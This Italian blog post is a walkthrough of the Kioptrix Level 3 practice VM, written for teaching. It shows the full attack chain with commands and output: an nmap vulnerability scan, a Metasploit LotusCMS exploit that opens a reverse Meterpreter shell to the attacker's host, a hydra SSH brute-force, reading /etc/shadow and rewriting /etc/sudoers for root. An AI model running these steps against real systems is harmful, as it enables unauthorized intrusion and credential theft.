Imparare a sfruttare vulnerabilità: Kioptrix Livello 3

Tempo di lettura: 10 minuti
Data pubblicazione: October 18, 2016

Ed eccoci al penultimo livello! Come al solito, la macchina virtuale si trova a questo indirizzo. Per chi si fosse perso i livelli precedenti, nel livello 1 sono entrato nel dispositivo utilizzando una vulnerabilità presente nella versione di Samba, mentre nel livello 2 era possibile effettuare un SQL Injection e da li, utilizzando netcat, è stata usata una reverse shell insieme ad un privilege escalation per ottenere i permessi di root.

Per chiunque sia qui per la prima volta, consiglio oltre alla visione del livello 1 e del livello 2, anche gli articoli sul Footprinting e sullo Scanning.

All’avvio della macchina ci viene detto di inserire nel nostro file host l’indirizzo IP della macchina di kioptrix. Per farlo digito (con i permessi di root)

echo 192.168.1.106 kioptrix3.com >> /etc/hosts

Scansione

Dopo i predenti livelli, dovreste ormai sapere che uno dei primi passi consiste in una scansione dell’host e cercare di scoprire in quale modo possiamo attaccare la macchina. In questo livello l’output della scansione dell’host è

┌─[✗]─[mrtouch@parrot]─[~]
└──╼ $nmap -A 192.168.1.106 --script default,vuln

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-16 11:34 CEST

Nmap scan report for 192.168.1.106
Host is up (0.0050s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.106
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.1.106/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://192.168.1.106/gallery/
|     Form id: 
|     Form action: login.php
|
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.1.106/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspiderider
|     http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|_    http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-trace: TRACE is enabled
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ho utilizzato gli script di nmap per vedere se potevo già rilevare delle vulnerabilità e a quanto pare ha funzionato. Tralasciando che è vulnerabile all’attacco DOS, la presenza di una pagina di login e una possibile sql injection fa ben sperare. Visto che c’è la porta 80 aperta, controllo con il browser la pagina e dal menu in alto vado alla pagina di login.

Home Page di Kioptrix3
Home Page di Kioptrix3

Accesso al sistema

Non provo ad utilizzare BurpSuite poiché quasi sicuramente non troverei nulla, anche perchè già nel secondo livello non ha funzionato. Visto che la pagina di login mostra che il CMS utilizzato è Lotus, provo a cercare tramite searchsploit se esistono delle vulnerabilità

┌─[mrtouch@parrot]─[~]
└──╼ $searchsploit lotuscms
------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title  |  Path | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
LotusCMS 3.0.3 - Multiple Vulnerabilities  | ./php/webapps/16982.txt
LotusCMS 3.0 - eval() Remote Command Execution (Metasploit)  | ./php/remote/18565.rb

Osservando la prima sembra che non interessi al nostro caso, quindi provo ad utilizzare la seconda con Metasploit.

Informazioni sull'exploit con Metasploit
Informazioni sull'exploit con Metasploit

Inserisco ora l’indirizzo IP della vittima e l’url che mi interessa testare

msf exploit(lcms_php_exec) > set rhost 192.168.1.106
rhost => 192.168.1.106
msf exploit(lcms_php_exec) > set uri /index.php?page=index?system=Admin
uri => /index.php?page=index?system=Admin
msf exploit(lcms_php_exec) > run

[*] Started reverse TCP handler on 192.168.1.105:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Sending stage (33721 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.106:41432) at 2016-10-16 13:30:00 +0200

meterpreter > ls
Listing: /home/www/kioptrix3.com
================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   4096   dir   2011-04-15 15:21:17 +0200  cache
40777/rwxrwxrwx   4096   dir   2011-04-14 18:24:17 +0200  core
40777/rwxrwxrwx   4096   dir   2011-04-14 18:24:17 +0200  data
100644/rw-r--r--  23126  fil   2011-04-14 18:23:13 +0200  favicon.ico
40755/rwxr-xr-x   4096   dir   2011-04-14 17:32:31 +0200  gallery
100644/rw-r--r--  26430  fil   2011-04-14 18:23:13 +0200  gnu-lgpl.txt
100644/rw-r--r--  399    fil   2011-04-14 18:23:13 +0200  index.php
40777/rwxrwxrwx   4096   dir   2011-04-14 18:24:17 +0200  modules
40777/rwxrwxrwx   4096   dir   2011-04-14 18:24:17 +0200  style
100644/rw-r--r--  243    fil   2011-04-14 18:23:13 +0200  update.php

Ed ecco che siamo dentro alla cartella del server.

Girovagando un pò trovo nella cartella /home/www/kioptrix3.com/data/users due file. Provo a visualizzarne il contenuto

kio3pwdinusers
kio3pwdinusers

Ho provato per circa un’ora a craccare la password con John, ma non sembra riconoscerla, per cui abbandono questa via.

Andando a ritroso nella cartella del server scopro la presenza di due utenti nel sistema

Cartelle di due utenze
Cartelle di due utenze

Avendo notato la porta ssh aperta con la scansione di nmap effettuata precedentemente, provo ad utilizzare hydra per trovare la password di un utente con il comando:

hydra -l loneferret -P Desktop/Infor/psw/wordlists-user-passwd/rockyou.txt 192.168.1.106 ssh -t 4 -v

E dopo pochi minuti, riesco a trovarla

Attacco bruteforce di Hydra a SSH
Attacco bruteforce di Hydra a SSH

Mi connetto quindi all’account con ssh

ssh loneferret@192.168.1.106
loneferret@192.168.1.106's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README

Privilege Escalation

Provo ad aprire il file delle password ma sembra che loneferret sia un semplice utente, mentre la sfida vuole che guadagniamo l’accesso a root. Indago un pò cercando nei file che ho a disposizione

loneferret@Kioptrix3:~$ ls
checksec.sh  CompanyPolicy.README

loneferret@Kioptrix3:~$ cat CompanyPolicy.README 
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

loneferret@Kioptrix3:~$ which ht
/usr/local/bin/ht

loneferret@Kioptrix3:~$ ./checksec.sh 
Usage: checksec [OPTION]

Options:

  --file 
  --dir  [-v]
  --proc 
  --proc-all
  --proc-libs 
  --kernel
  --fortify-file 
  --fortify-proc 
  --version
  --help

For more information, see:
  http://www.trapkit.de/tools/checksec.html

loneferret@Kioptrix3:~$ ./checksec.sh --file /usr/local/bin/ht
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        Canary found      NX disabled   No PIE                  /usr/local/bin/ht

Chechsec.sh è uno script che permette di rendere più sicuro un sistema offrendo tecniche di mitigazione agli amministratori di sistema.

Visto che nel file CompanyPolicy consiglia di utilizzare sudo ht, provo ad usarlo per aprire il file delle password

sudo ht /etc/shadow
kio3etcshadowfile
kio3etcshadowfile

Essendo riuscito ad avere i permessi tramite ht, modifico i permessi dell’utente editando il file /etc/sudoers

loneferret@Kioptrix3:~$ sudo ht /etc/sudoers

Ammetto che non sapevo neanche dell’esistenza di questo editor, ho prima guardato l'help online per scoprire i comandi. Per aprire il nostro file e poterlo modificare bisogna:

  • Digitare _Alt+W _e selezionare il menu File;
  • Da File->Open->/etc/sudoers.

In questo modo posso modificare il file e dare finalmente i permessi al nostro utente. Come lo modifico? Semplice, elimino la regola che ha il nostro utente e do tutti i permessi

kio3sudoers
kio3sudoers

Con pochi comandi posso sia modificare la password che visualizzare cartelle e file dove prima non potevo

root@Kioptrix3:/home/loneferret# ls /root/
Congrats.txt  ht-2.0.18
root@Kioptrix3:/home/loneferret# cat /root/Congrats.txt 
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Conclusioni

Anche stavolta il livello di difficoltà è aumentato. Non proprio nella prima parte ma più nella seconda, nella quale c’era bisogno di effettuare una Privilege Escalation. Ovviamente ci sono altri modi per raggiungere questo traguardo, questo è solo uno dei tanti. Il prossimo livello sarà l’ultimo, speriamo sia divertente quanto questo!